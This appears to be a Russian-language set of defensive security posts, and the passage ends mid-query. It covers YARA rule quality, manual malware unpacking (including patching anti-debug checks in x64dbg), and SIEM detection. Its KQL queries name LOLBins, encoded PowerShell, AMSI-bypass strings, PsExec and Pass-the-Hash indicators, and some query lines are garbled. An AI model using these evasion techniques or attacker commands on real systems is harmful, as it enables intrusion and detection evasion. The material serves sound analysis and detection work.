Метаданные заполнены полностью, включая хэш образца-источника. Правило прогнано на минимум 10 образцах семейства — True Positive проверен. Правило прогнано на чистом корпусе (системные файлы, популярные приложения) — False Positive = 0. Признаки не включают volatile-данные (C2, IP, домены). Логика условия использует X of (Y) для устойчивости к модификациям. Каждый строковый паттерн длиннее 6 байт или имеет достаточно редкие значения. Правило протестировано на performance — время сканирования приемлемо.

Ключевые принципы

Семья, не образец — сигнатура должна описывать архитектурные константы семейства, а не байты конкретной сборки.

Глубина признаков — комбинировать признаки разных классов: структурные, поведенческие, криптографические. Один признак можно убрать, три независимых — нельзя.

Маскировать volatile — адреса функций в IAT, относительные смещения прыжков, конкретные адреса — всё это ?? или [N-M].

Rich Header как корреляция — не как единственный признак, но как дополнительный слой для кластеризации образцов одной сборочной системы.

Энтропия дополняет, не заменяет — математические условия через math.entropy() сужают пространство до "скорее всего зашифрован", но не идентифицируют семейство.

Криптоконстанты неизменяемы — магические числа RC4, CRC32, AES S-box, ChaCha20 — это self-evident признаки, которые авторы малвари не могут убрать без потери функциональности.

Гайд по анпакингу и де-обфускации малвари

2026-06-08T13:59:18.952Z

Раздел 1: Пассивная разведка до x64dbg

DIE (Detect It Easy) — чтение всех полей

Открываешь файл в DIE. Главное окно разбито на несколько блоков. Читать их нужно все, а не только строку "Packer".

Строка Packer — название и версия. Версия критична: UPX 3.96 распакуется одной командой, UPX 4.0+ иногда нет. Если написано "UPX (modified)" — заголовок повреждён, нужен HEX-редактор. Если написано "Unknown" — custom packer, надо работать руками.

Строка Compiler — язык написания. Если Golang — IAT работает иначе, там нет стандартного импорта через PE-таблицу, всё линкуется статически. Если Delphi — код выглядит специфично, функции с префиксом @. Если .NET — сразу идёшь в dnSpy, x64dbg здесь неудобен.

Строка Linker — версия компоновщика. Иногда выдаёт реальный возраст сэмпла, даже если TimeDateStamp в PE-заголовке подделан под 1970 или 2037 год.

Вкладка Entropy — визуальный graf по секциям. Красные столбцы выше 7.0 = зашифрованный контент. Смотреть не среднюю энтропию файла, а именно по секциям: если .text имеет 7.8 — там не code, там blob.

Вкладка Heuristic — DIE иногда детектирует одновременно и Packer, и Protector. Например: "UPX" + "VMProtect". Это значит файл сначала упакован UPX, а поверх защищён VMProtect. После распаковки UPX тебя встретит VMProtect — нужно знать об этом заранее.

PEStudio — порядок чтения вкладок

Indicators — открывать первым. Красные строки — это приоритет. Жёлтые — фоновый шум, их можно игнорировать при первом просмотре. Типичные красные индикаторы упакованной малвари: "file contains no meaningful strings", "entropy of section is high", "import table is suspicious".

Libraries — смотреть количество. Нормальный PE имеет 5-15 библиотек. Если видишь только kernel32.dll + ntdll.dll — IAT пустая, всё восстанавливается в рантайме. Если есть только GetProcAddress и LoadLibraryA — это runtime IAT resolve, стандартный паттерн любого паккера.

Functions — список импортируемых функций. Подозрительные комбинации:

VirtualAlloc + VirtualProtect + GetProcAddress → in-memory распаковка
CreateProcess + WriteProcessMemory + SetThreadContext → Process Hollowing
IsDebuggerPresent + CheckRemoteDebuggerPresent → anti-debug в stub
NtQueryInformationProcess → продвинутый anti-debug, проверяет DebugPort

Strings — нажать на колонку "Blacklist" для сортировки. PEStudio сам выделяет подозрительное красным. Если строк меньше 20 осмысленных — упакован. Нормальный PE содержит сотни строк: пути, сообщения об ошибках, имена функций.

Sections — смотреть четыре параметра на каждую секцию: имя, энтропия, Raw Size, Virtual Size. Если Raw Size = 0 при большом Virtual Size — UPX0-стиль, секция заполнится при распаковке. Если имя секции — мусор или пустая строка — custom packer. RWX-флаги (Execute + Read + Write одновременно) на секции — туда будет писаться и исполняться код.

Раздел 2: HEX-редактор — ручная работа с заголовком

Анатомия PE для ручной работы

Открыть в 010 Editor. Подключить шаблон EXE.bt через Templates → Open Template — он автоматически разберёт и подсветит все поля.

Без шаблона: первые два байта всегда 4D 5A (MZ). По смещению 0x3C — четыре байта, little-endian — это offset до PE-сигнатуры. Например E0 00 00 00 = PE-заголовок начинается с 0xE0. По этому смещению должно быть 50 45 00 00 (PE\0\0).

После PE-сигнатуры идёт COFF Header (20 байт), затем Optional Header. В Optional Header ключевые поля:

+0x10 (16 байт от начала Optional Header): AddressOfEntryPoint — RVA точки входа. Это не абсолютный адрес, а смещение от ImageBase.
+0x1C: ImageBase — куда загружается PE в памяти.
+0x68: начало Data Directories. Первые 8 байт = Export Table RVA + Size. Следующие 8 = Import Table RVA + Size. Если Import Table RVA = 00 00 00 00 — импортов нет, файл упакован.

Восстановление повреждённого UPX-заголовка

Малварь часто затирает блок "UPX!" (байты 55 50 58 21) чтобы сломать upx -d. При этом секции UPX0 и UPX1 остаются — DIE их видит.

Порядок восстановления:

Шаг 1 — найти где должен быть блок. В штатном UPX он находится в overlay (после последней секции). Перейти в конец файла. Искать последовательность из ~20 байт где должны быть: версия UPX, размеры, сигнатура.

Шаг 2 — в HxD: Ctrl+F → Hex Values → ввести 55 50 58 30 (это "UPX0" — начало имени первой секции). Так находим секции. Теперь в конце файла искать где был overlay block. Структура: 4 байта compressed size + 4 байта original size + 4 байта filter ID + 4 байта "UPX!".

Шаг 3 — если блок затёрт нулями или мусором: вписать 55 50 58 21 (U P X !) на нужное место. Сохранить копию файла. Пробовать upx -d --force.

Шаг 4 — если upx всё равно не берёт: малварь могла изменить сами заголовки секций чтобы UPX не смог пересчитать размеры. В этом случае единственный путь — ручной ESP trick.

Поиск embedded PE без инструментов

В HEX-редакторе: Ctrl+F → Hex → ввести 4D 5A 90 00 (стандартное начало PE после MZ). Если находит не в начале файла — там embedded PE, дроппер несёт payload в себе. Записать offset. Дальше от этого offset читать как обычный PE: +0x3C → PE offset, и так далее.

Искать также паттерн 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 длиной > 64 байт в середине файла — это padding. Малварь часто хранит зашифрованный конфиг именно в таких "пустых" областях: смотреть на энтропию соседних байт.

Раздел 3: x64dbg — детальная работа

Настройка перед первым запуском

Прежде чем открывать образец: Options → Preferences → Events — убедиться что включены: "System Breakpoint", "Entry Breakpoint", "TLS Callbacks". TLS Callbacks критичны — если они включены в малвари, anti-debug код выполнится до EP, и без остановки на TLS ты пропустишь его.

Plugins → ScyllaHide → Options. Включить весь раздел "General": IsDebuggerPresent, CheckRemoteDebuggerPresent, NtQueryInformationProcess, NtSetInformationThread. Включить раздел "NtApi": NtClose, NtSetDebugFilterState. Сохранить профиль.

Ориентация в интерфейсе

Четыре основных панели:

Верхняя левая — дизасм (код). Колонки: адрес, байты, мнемоника, операнды, комментарии.
Верхняя правая — регистры. EAX-EDI (x86) или RAX-RDI (x64), флаги, сегментные регистры.
Нижняя левая — дамп памяти. Следит за адресом, можно следить за любым регистром или адресом.
Нижняя правая — стек. Показывает текущий ESP и содержимое стека.

Горячие клавиши которые нужны постоянно:

Действие Клавиша Run F9 Step Into F7 Step Over F8 Run to cursor F4 Execute till return Ctrl+F9 Toggle BP F2 Memory Map Alt+M Go to address Ctrl+G Follow in dump Ctrl+D Command line фокус Space в дизасме Restart Ctrl+F2

Чтение стека при остановке на API

Когда x64dbg останавливается на входе в API-функцию (например VirtualAlloc), аргументы находятся на стеке. В x86 они передаются через стек, в x64 — первые четыре через регистры RCX, RDX, R8, R9.

Для x86: в панели Stack смотреть с ESP+4 (первый аргумент после адреса возврата):

[ESP+00] = адрес возврата (куда вернётся функция)
[ESP+04] = первый аргумент
[ESP+08] = второй аргумент
[ESP+0C] = третий аргумент
[ESP+10] = четвёртый аргумент

Для VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) это [ESP+04], [ESP+08], [ESP+0C], [ESP+10] соответственно. Значение flProtect = 0x40 (PAGE_EXECUTE_READWRITE) — это payload.

Для x64: первые 4 аргумента в RCX, RDX, R8, R9 — читать прямо из регистров в правой панели.

Раздел 4: ESP Trick — полная механика

Что происходит внутри

Stub паккера при старте делает PUSHAD — кладёт на стек значения всех восьми регистров (EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI) в именно таком порядке. ESP уменьшается на 32 байта (8 × 4). После PUSHAD ESP указывает на первое сохранённое значение (EDI).

Потом stub делает свою работу: расшифровывает, распаковывает, перемещает секции. В конце — POPAD: восстанавливает все 8 регистров, записывая их обратно в память по адресу текущего ESP. Именно этот момент записи и перехватывает Hardware Breakpoint.

Почему нужно делать F7 перед Follow in Dump

Если сделать Follow in Dump до F7 (то есть до выполнения PUSHAD), ESP ещё не изменился — ты поставишь HW BP на "неправильный" адрес: туда, где стек был до сохранения регистров, а не туда, куда POPAD будет писать.

После одного F7 (выполнился PUSHAD) ESP уменьшился на 32 байта. Теперь этот адрес — именно то место, куда POPAD запишет сохранённый EDI. HW BP на запись сюда сработает при POPAD.

Что делать если после POPAD несколько инструкций до OEP

Иногда картина не такая прямолинейная:

POPAD
LEA EAX, [EBP - 0x4C]    ; ← остановились здесь, не JMP
CALL EAX                   ; ← это и есть прыжок на OEP

Или:

POPAD
ADD EBP, 0x100
JMP [EBP + 0x4]            ; косвенный прыжок через таблицу

В таких случаях: F8 несколько раз, наблюдая за EIP. Как только EIP попал в "нормальный" регион (основной модуль, не stub) — ты на OEP. Проверить: правый клик на текущем адресе в дизасме → "Module: [имя файла]" — если видишь имя малвари, а не что-то вроде "MEM_00400000" без имени, то ты в основном коде.

Раздел 5: VirtualAlloc BP — тонкости

Как отличить нужный вызов от служебных

Паккер может вызывать VirtualAlloc несколько раз. Первые вызовы обычно служебные — для структур CRT, стека нового потока, служебных буферов. Нас интересует вызов с PAGE_EXECUTE_READWRITE (0x40) и большим dwSize (> 0x1000).

В x64dbg можно поставить условный BP: правый клик на BP в списке Breakpoints → Conditions. Ввести условие: в x86 это проверка четвёртого аргумента на стеке. В командной строке это записывается так: добавить команду log чтобы логировать каждый вызов без остановки, и потом смотреть лог — найдёшь нужный по dwSize.

После нахождения нового региона

Выйти из VirtualAlloc через Ctrl+F9. EAX содержит базовый адрес нового региона. Этот регион пока пустой — код туда только будет записан. Если поставить BP Execute прямо сейчас, он сработает когда stub начнёт исполнять первую инструкцию из этого региона.

Открыть Alt+M (Memory Map). Найти регион по адресу из EAX. Правый клик → Set Access Breakpoint → Execute. Продолжать F9 — BP сработает на первой инструкции payload.

Если паккер вызывает NtAllocateVirtualMemory напрямую

Некоторые паккеры обходят VirtualAlloc и вызывают ntdll напрямую через syscall. В этом случае BP на VirtualAlloc вообще не срабатывает.

Признак: вызовов VirtualAlloc нет, но в Memory Map появляются новые приватные регионы. Решение: поставить BP на NtAllocateVirtualMemory. Сигнатура отличается — аргументы другие, flProtect это пятый аргумент ([ESP+14] в x86).

Раздел 6: Anti-debug — ручной обход без ScyllaHide

IsDebuggerPresent — патч в дизасме

Найти в дизасме паттерн чтения из PEB. Это выглядит так:

MOV EAX, DWORD PTR FS:[30]    ; читает адрес PEB из TEB
MOVZX EAX, BYTE PTR [EAX+2]  ; читает PEB.BeingDebugged (offset 0x2)
TEST EAX, EAX
JNZ 0x004012AB                ; прыгает если дебаггер есть

Способ 1 — патч JNZ в JMP с инверсией: правый клик на JNZ → Assemble. Ввести JMP SHORT [адрес хорошего пути] — адрес инструкции после JNZ, то есть обойти ветку "есть дебаггер". Нажать OK. x64dbg пропатчит байты.

Способ 2 — нулить EAX в рантайме: поставить BP на TEST EAX, EAX. Когда остановится — в командной строке ввести EAX = 0. Нажать Enter. F9 — продолжить. JNZ теперь не прыгнет. Этот способ не требует патча файла, только меняет состояние регистра в этот конкретный момент.

NtQueryInformationProcess ProcessDebugPort

Продвинутее: вызывает ntdll напрямую. Если возвращает ненулевое значение — дебаггер есть.

Искать в дизасме: PUSH 7 (ProcessDebugPort = 7) перед вызовом NtQueryInformationProcess, или поиск по имени функции через Ctrl+G.

Поставить BP на вызов. При срабатывании смотреть [ESP+0C] — адрес буфера куда функция запишет результат. После Ctrl+F9 (вернуться из функции) — в этом буфере будет значение. Если ненулевое — перейти в Dump на этот адрес, вручную вписать нули. Продолжить.

Timing checks — RDTSC

Паккер вызывает RDTSC дважды и сравнивает разницу. В нормальных условиях разница мала. С дебаггером — большая (ты пошагово ходишь).

В дизасме искать байты 0F 31 — это опкод RDTSC. Найти оба вхождения. Поставить BP на второй RDTSC.

Когда остановился на втором RDTSC: посмотреть значения EDX:EAX с первого замера (они должны быть где-то сохранены в памяти или регистрах). Скопировать их в текущие EDX и EAX командами EDX = значение и EAX = значение в командной строке. Продолжить. Разница будет нулевой, проверка пройдёт.

Альтернатива: найти SUB или CMP после второго RDTSC — там вычисляется разница и сравнивается с порогом. Найти JA или JG после — изменить на JMP на хороший путь.

TLS Callbacks

Выполняются до AddressOfEntryPoint. Если в PEStudio видишь в Data Directories запись "TLS Directory" — там есть callbacks. В x64dbg: Options → Preferences → Events → поставить галочку "TLS Callbacks". Теперь x64dbg остановится на каждом TLS callback до EP. Это место где может быть anti-debug код — анализировать так же, как и EP.

Раздел 7: Process Hollowing — пошагово

Как читать CONTEXT структуру в дампе

При BP на SetThreadContext нужно найти OEP в структуре CONTEXT. Аргумент pContext — это указатель, его значение видно в стеке ([ESP+08] для x86). Перейти в Dump по этому адресу.

Структура CONTEXT для x86 (WinNT.h):

+0x00  ContextFlags (4 байта)
+0x04  Dr0-Dr7 (отладочные регистры, 8×4 = 32 байта)
+0x24  SegGs, SegFs, SegEs, SegDs (4×4 = 16 байт)
+0x34  Edi, Esi, Ebx, Edx, Ecx, Eax (6×4 = 24 байт)
+0x4C  Ebp
+0x50  Eip  ← OEP здесь (offset 0x50 от начала CONTEXT)  
+0x54  SegCs
+0x58  EFlags
+0x5C  Esp
+0x60  SegSs

Для x64 CONTEXT гораздо больше. Rip находится на offset 0x080 от начала структуры CONTEXT. Прочитать 8 байт little-endian по этому смещению — это RIP (OEP) x64-кода.

Работа с двумя процессами одновременно

Открыть второй экземпляр x64dbg. Не второй файл — именно второй экземпляр программы. В нём: File → Attach → выбрать процесс-жертву по имени (svchost, notepad). x64dbg приостановит его.

Теперь поставить BP на адрес OEP (который мы нашли в CONTEXT.Eip) в дизасме второго экземпляра. Переключиться обратно в первый экземпляр (malware.exe). Нажать F9 — дать малвари выполниться до ResumeThread. Второй экземпляр x64dbg остановится на OEP payload в жертве.

Теперь из второго экземпляра открывать Scylla и дампить — именно из жертвы, не из оригинальной малвари.

Раздел 8: .NET — ручная работа в dnSpy

Ориентация в структуре сборки

После открытия в dnSpy слева дерево: сборка → namespaces → классы → методы. Искать точку входа: правый клик на сборке → Go to Entry Point. Или Ctrl+Shift+F → поиск строки "Main".

Маркеры что перед нами загрузчик второй стадии:

Метод принимает byte[] и возвращает string — почти всегда дешифратор строк
Вызов Assembly.Load(byte[]) — загружает embedded PE в память CLR
Вызов Convert.FromBase64String() + последующий XOR-цикл — расшифровывает payload
Метод Module.cctor (статический конструктор модуля) — часто инициализирует дешифратор

Чтение зашифрованных строк без de4dot

Если de4dot не справился с деобфускацией строк: найти метод-дешифратор вручную. Признаки: приватный статический метод, принимает int, возвращает string, содержит byte-массив и XOR или другую арифметику.

В dnSpy перейти в этот метод. Найти последнюю строку перед return — там формируется возвращаемое значение. Кликнуть на эту строку → F9 (Add Breakpoint). Запустить (F5).

При каждой остановке в нижней части dnSpy — вкладка Locals. Там видна локальная переменная содержащая расшифрованную строку. Копировать вручную. Это медленно но работает для ключевых строк (C2, ключи шифрования, пути).

Нахождение embedded PE через ресурсы

В дереве слева: развернуть сборку → найти ветку "Resources". Если там есть записи с бинарными данными или подозрительными именами — двойной клик. dnSpy покажет hex-содержимое. Если первые байты 1F 8B — GZip. Если 4D 5A — прямо PE.

Правый клик на ресурсе → Save Resource → сохранить как файл. Затем открывать в DIE и PEStudio.

Для Costura/Fody: имена ресурсов содержат .dll.compressed. Содержимое: сначала идут несколько байт заголовка Costura, потом GZip-данные. Посмотреть в HEX: найти 1F 8B — это начало GZip-потока. Сохранить всё начиная с 1F 8B как отдельный файл с расширением .gz. Распаковать любым архиватором — получишь DLL.

Раздел 9: Scylla и PE-bear — ручные правки

Диагностика проблем с IAT

Красные записи в Scylla означают что указатель в IAT ведёт на адрес, который Scylla не может разрешить в имя функции. Причины:

Причина 1 — паккер обфусцировал IAT: вместо прямых указателей на API там стоят промежуточные thunk-функции. В дизасме они выглядят как JMP [реальный адрес]. Scylla умеет такие разрешать через кнопку "Fix" — попробовать её.

Причина 2 — паккер восстановил IAT не полностью на момент дампа. Значит ты взял дамп слишком рано. Нужно дать паккеру немного "пробежать" на OEP — несколько F8 — чтобы IAT полностью восстановилась.

Причина 3 — hook-based IAT: некоторые паккеры заменяют указатели в IAT на свои функции-перехватчики. После дампа такие записи красные. Правый клик → Delete на каждую красную запись. Это лучше чем оставить — дамп без этих импортов будет работать нормально для статического анализа.

Ручное исправление ImageBase в PE-bear

Открыть дамп в PE-bear. Левая панель: выбрать "Optional Header". Смотреть поле "Image Base". Оно должно совпадать с реальным адресом загрузки который ты видел в Memory Map x64dbg.

Если они расходятся: двойной клик на поле Image Base → вписать правильное значение → Enter → сохранить через File → Save. Не сохранять в оригинальный файл — всегда в новую копию.

Вычисление RVA OEP вручную

Абсолютный адрес OEP ты знаешь из x64dbg (например 0x00401A30). ImageBase из PE-bear (например 0x00400000). RVA = 0x00401A30 - 0x00400000 = 0x1A30. В PE-bear: Optional Header → Address Of Entry Point → вписать 0x1A30.

Исправление секций с нулевым Raw Size

В PE-bear: вкладка "Section Headers". Каждая секция имеет строку. Колонки: Name, Virtual Size, Virtual Address, Raw Size, Raw Offset, Characteristics.

Если Raw Size = 0 при ненулевом Virtual Size: вписать в Raw Size значение равное Virtual Size, выровненное по FileAlignment (это поле тоже в Optional Header, обычно 0x200 или 0x1000). Формула выравнивания: ((VirtualSize + FileAlignment - 1) / FileAlignment) * FileAlignment.

Пример: Virtual Size = 0x3A40, FileAlignment = 0x200. Выровненный Raw Size = ((0x3A40 + 0x1FF) / 0x200) * 0x200 = 0x3C00.

Раздел 10: Верификация без скриптов

Последовательность проверки

Открыть malware_dump_SCY.exe в DIE. Если не показывает паккер — хорошо. Смотреть энтропию по секциям: .text должна быть ниже 6.5.

Открыть в PEStudio. Вкладка Libraries: должно быть 5+ библиотек с реальными именами. Вкладка Functions: должны быть осмысленные имена API. Вкладка Strings: должны быть читаемые строки — это главный признак успеха.

Открыть в Ghidra. File → Import → выбрать дамп. Формат PE. Analyze → Yes → Auto Analysis. Подождать. После окончания: Window → Functions. Если видишь имена вроде CreateMutexA, InternetOpenUrl — IAT восстановлена правильно и Ghidra видит символы. Если всё FUN_00401000 — IAT пустая или неправильная.

Ручная проверка IOC в PEStudio

Вкладка Strings → нажать на заголовок колонки "Blacklist" чтобы отсортировать по подозрительности. Смотреть красные строки. Что искать:

URL-паттерны: http://, https://, IP-адреса вида XXX.XXX.XXX.XXX
Системные пути: \AppData\, \Temp\, \System32\
Реестровые ключи: HKLM\, HKCU\Software\
Имена мьютексов: одиночные строки без смысла — {GUID-like}, Global\mutex_name
Команды: cmd.exe /c, powershell -enc, reg add

Вкладка Functions → искать: CreateMutexA (persistence marker), InternetOpenA/WinHttpOpen (network), RegSetValueExA (registry persistence), CreateServiceA (service installation), WriteFile + путь в Temp = дроппер.

Финальный вывод

Гайд охватывает полный цикл анализа упакованной малвари — от пассивной разведки до верификации дампа. Ключевые принципы которые проходят через все разделы:

Методология "слой за слоем" — каждый инструмент закрывает свой этап. DIE и PEStudio дают картину до запуска, HEX-редактор позволяет работать с заголовками вручную, x64dbg вскрывает рантайм, Scylla/PE-bear восстанавливают структуру.

Понимание механики важнее инструментов — знание того, почему ESP Trick работает (PUSHAD/POPAD и момент записи регистров), почему IAT бывает пустой, как CONTEXT структура хранит OEP при Process Hollowing — позволяет действовать когда автоматика ломается.

Порядок действий при неизвестном образце:

DIE → тип паккера/компилятора/энтропия
PEStudio → IAT, строки, индикаторы
HEX → ручная проверка заголовка, embedded PE
x64dbg + ScyllaHide → ESP trick или VirtualAlloc BP
Обход anti-debug (IsDebuggerPresent, RDTSC, TLS)
Дамп через Scylla → правка в PE-bear
Верификация в DIE + PEStudio + Ghidra

Критические точки отказа — если дамп не работает, почти всегда причина в одном из трёх: неправильный момент дампа (IAT не восстановлена), неверный OEP в PE-заголовке, нулевые Raw Size в секциях. Все три решаются в PE-bear вручную.

.NET — отдельный мир — стандартный подход через x64dbg там неприменим. dnSpy + de4dot + ручной поиск дешифраторов строк и embedded PE в ресурсах.

Гайд намеренно избегает скриптовой автоматизации — всё описано на уровне ручных действий, что формирует понимание процесса, а не зависимость от конкретных инструментов.

Анализ логов: от источника до детекта

2026-04-08T09:46:28.078Z

1. Что и откуда собирать

Прежде чем строить правила — нужно понимать, какие источники дают какую телеметрию и что в них есть, а чего нет.

Windows Event Log

Основной источник для большинства расследований. Ключевые каналы:

Проблема с 4688: по умолчанию командная строка в нём отсутствует. Без включённого Audit Process Creation + Include command line in process creation events (GPO) — поле ProcessCommandLine будет пустым. Это частая причина слепых пятен.

Sysmon — почему он важнее нативного аудита

Sysmon дополняет EventLog тем, чего нет нативно: хэши процессов, полный путь к образу, родительский процесс, network connections с PID, DNS-запросы, pipe events.

<!-- Минимальная конфигурация: SwiftOnSecurity/sysmon-config -->
<!-- или более агрессивная: olafhartong/sysmon-modular -->
<Sysmon schemaversion="4.82">
  <EventFiltering>
    <!-- EID 1: Process Create — логировать всё, кроме шума -->
    <RuleGroup name="ProcessCreate" groupRelation="or">
      <ProcessCreate onmatch="exclude">
        <Image condition="is">C:\Windows\System32\svchost.exe</Image>
      </ProcessCreate>
    </RuleGroup>
    <!-- EID 3: Network Connect — только нестандартные порты -->
    <RuleGroup name="NetworkConnect" groupRelation="or">
      <NetworkConnect onmatch="include">
        <DestinationPort condition="is not">80</DestinationPort>
        <DestinationPort condition="is not">443</DestinationPort>
      </NetworkConnect>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Полная таблица Sysmon EID для аналитика:

EID Событие Зачем нужен 1 Process Create PID, PPID, cmdline, hashes, user 3 Network Connect process → dst_ip:port 7 Image Loaded DLL из %TEMP%, unsigned 8 CreateRemoteThread process injection 10 ProcessAccess OpenProcess + GrantedAccess 11 File Create dropper, persistence 12/13/14 Registry Run-ключи, IFEO, COM hijack 15 FileCreateStreamHash ADS (Alternate Data Stream) 17/18 Pipe Create/Connect named pipe C2, lateral movement 22 DNS Query C2 resolution, DGA 25 Process Tampering hollowing, herpaderping 26 File Delete Detected anti-forensics

Linux: auditd vs syslog vs eBPF

# auditd — минимальный набор правил для SOC
# /etc/audit/rules.d/soc.rules

# Исполнение файлов
-a always,exit -F arch=b64 -S execve -k exec
# Изменения в /etc, /tmp
-w /etc/passwd -p wa -k passwd_changes
-w /tmp -p x -k tmp_exec
# Привилегированные команды
-a always,exit -F path=/usr/bin/sudo -F perm=x -k sudo_usage
# Сетевые соединения (syscall level)
-a always,exit -F arch=b64 -S connect -k network_connect
# Загрузка модулей ядра
-a always,exit -F arch=b64 -S init_module,finit_module -k kernel_module

eBPF как альтернатива: Falco, Tetragon — дают syscall-уровень без тяжёлого auditd. Особенно актуально для контейнеров. Но на классическом Linux-хосте для IR auditd + syslog вполне достаточно.

2. Нормализация: что происходит в Logstash/Ingest Pipeline

Сырой лог бесполезен без нормализации. Задача этого слоя — привести всё к единой схеме (ECS — Elastic Common Schema) и обогатить данными.

# Logstash pipeline: windows_security.conf
input {
  beats { port => 5044 }
}

filter {
  # Парсим Windows Security события
  if [winlog][channel] == "Security" {
    mutate {
      rename => {
        "[winlog][event_data][SubjectUserName]" => "[user][name]"
        "[winlog][event_data][IpAddress]"       => "[source][ip]"
        "[winlog][event_data][ProcessName]"     => "[process][executable]"
      }
    }

    # Обогащение: GeoIP для source.ip
    if [source][ip] and [source][ip] != "-" {
      geoip {
        source => "[source][ip]"
        target => "[source][geo]"
      }
    }

    # Threat intel lookup (файл IOC или MISP)
    translate {
      field       => "[source][ip]"
      destination => "[threat][indicator][match]"
      dictionary_path => "/etc/logstash/ioc_ips.yml"
      fallback    => "false"
    }
  }

  # Нормализация пути к процессу (lowercase для KQL)
  if [process][executable] {
    mutate {
      lowercase => ["[process][executable]"]
    }
  }
}

output {
  elasticsearch {
    hosts    => ["https://es01:9200"]
    index    => "logs-windows-%{+YYYY.MM.dd}"
    ssl_certificate_verification => true
  }
}

ECS — ключевые поля, которые нужно знать:

ECS поле Windows источник Что хранит process.name Image (Sysmon EID 1) имя процесса process.command_line CommandLine полная командная строка process.parent.name ParentImage родительский процесс process.hash.sha256 Hashes хэш бинаря user.name SubjectUserName пользователь host.name Computer хост-источник network.destination.ip DestinationIp (Sysmon 3) dst IP dns.question.name QueryName (Sysmon 22) DNS запрос file.path TargetFilename (Sysmon 11) путь к файлу registry.path TargetObject (Sysmon 13) ключ реестра

3. KQL — запросы для Kibana SIEM

Базовая анатомия KQL

field: "value"                         — точное совпадение
field: *value*                         — wildcard
field: (val1 OR val2 OR val3)          — OR в скобках
field >= 100 AND field <= 500          — диапазон
NOT field: "value"                     — исключение
field.keyword: "exact"                 — keyword (без анализа)

field vs field.keyword: text-поля в ES анализируются — "C:\Windows\System32" разбивается на токены. Для точных путей всегда используй .keyword-вариант поля, иначе поиск по подстроке может дать ложные срабатывания.

Обнаружение выполнения команд

🔴 LOLBin / Living Off the Land

event.code: "1"
AND process.name: (
    "certutil.exe" OR "bitsadmin.exe" OR "mshta.exe" OR
    "wscript.exe"  OR "cscript.exe"   OR "regsvr32.exe" OR
    "rundll32.exe" OR "msiexec.exe"   OR "installutil.exe" OR
    "schtasks.exe" OR "at.exe"        OR "wmic.exe"
)
AND NOT process.parent.name: (
    "msiexec.exe" OR "iexplore.exe" OR
    "C:\\Windows\\System32\\services.exe"
)

🔴 PowerShell Encoded Command

event.code: "4104"
AND winlog.event_data.ScriptBlockText: (
    "*-enc *"  OR "*-EncodedCommand*" OR
    "*FromBase64String*" OR "*IEX*"   OR
    "*Invoke-Expression*" OR "*bypass*"
)

Почему EID 4104, а не 4688: Script Block Logging (4104) пишет содержимое скрипта до обфускации — то, что PowerShell реально выполнил. EID 4688 пишет только вызов powershell.exe с аргументами, обфусцированная строка остаётся нечитаемой.

🟠 AMSI Bypass Patterns

event.code: "4104"
AND winlog.event_data.ScriptBlockText: (
    "*amsiInitFailed*"     OR
    "*AmsiScanBuffer*"     OR
    "*[Ref].Assembly*"     OR
    "*System.Runtime.InteropServices.Marshal*"
)

🟠 Подозрительный родитель процесса (Parent-Child)

Аномальные пары родитель → дочерний процесс:

event.code: "1"
AND (
    (process.parent.name: "winword.exe"  AND process.name: ("cmd.exe" OR "powershell.exe" OR "wscript.exe")) OR
    (process.parent.name: "excel.exe"   AND process.name: ("cmd.exe" OR "powershell.exe" OR "mshta.exe"))   OR
    (process.parent.name: "outlook.exe" AND process.name: ("cmd.exe" OR "powershell.exe" OR "wscript.exe")) OR
    (process.parent.name: "acrobat.exe" AND process.name: ("cmd.exe" OR "powershell.exe"))                   OR
    (process.parent.name: "mshta.exe"   AND process.name: ("powershell.exe" OR "cmd.exe" OR "wscript.exe"))
)

Persistence

🔴 Registry Run-ключи

event.code: ("12" OR "13")
AND winlog.event_data.TargetObject: (
    "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run*"     OR
    "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce*" OR
    "*\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run*" OR
    "*\\SYSTEM\\CurrentControlSet\\Services\\*"
)
AND NOT process.name: (
    "msiexec.exe" OR "setup.exe" OR "install.exe"
)

🔴 Scheduled Task из командной строки

event.code: "1"
AND process.name: "schtasks.exe"
AND process.command_line: (
    "*/create*" AND (
        "*/sc onlogon*" OR "*/sc onstart*" OR
        "*/sc minute*"  OR "*/sc hourly*"
    )
)
AND NOT user.name: ("SYSTEM" OR "LOCAL SERVICE" OR "NETWORK SERVICE")

🟠 IFEO Debugger Injection (Image File Execution Options)

event.code: ("12" OR "13")
AND winlog.event_data.TargetObject: (
    "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\Debugger"
)

IFEO Debugger — классический persistence/bypass: малварь прописывает себя как debugger для легитимного процесса. При запуске того процесса вместо него выполняется малварь.

🟠 WMI Event Subscription (филeless persistence)

event.code: "19" OR event.code: "20" OR event.code: "21"

Sysmon EID 19/20/21 — WMI activity. Любой из них без известного software-источника заслуживает расследования. Это один из самых незаметных persistence-механизмов.

Lateral Movement

🔴 Pass-the-Hash / Pass-the-Ticket признаки

event.code: "4624"
AND winlog.event_data.LogonType: "3"
AND winlog.event_data.AuthenticationPackageName: "NTLM"
AND winlog.event_data.WorkstationName: "-"
AND NOT winlog.event_data.SubjectUserName: "*quot;

WorkstationName: "-" при NTLM LogonType 3 — признак PtH: легитимные NTLM-аутентификации обычно имеют имя рабочей станции.

🔴 SMB Lateral Movement (admin shares)

event.code: "4624"
AND winlog.event_data.LogonType: "3"
AND winlog.event_data.ShareName: ("\\\\*\\ADMINquot; OR "\\\\*\\Cquot; OR "\\\\*\\IPCquot;)
AND NOT winlog.event_data.SubjectUserName: ("*quot; OR "backup*" OR "admin*")

🔴 PsExec / Remote Service Creation

event.code: "7045"
AND winlog.event_data.ServiceFileName: (
    "*\\PSEXESVC*" OR "*\\PAExec*" OR
    "*\\RemComSvc*" OR "*cmd.exe*" OR
    "*powershell.exe*" OR "*\\Temp\\*"
)

🟠 WinRM / WSMan Remote Execution

event.code: "1"
AND process.parent.name: "wsmprovhost.exe"

Все процессы, порождённые через WinRM, имеют wsmprovhost.exe в качестве родителя. Легитимные сценарии — администрирование, но в паре с аномальным дочерним процессом это IOC.

Credential Access

🔴 DCSync (репликация AD для дампа хэшей)

event.code: "4662"
AND winlog.event_data.Properties: (
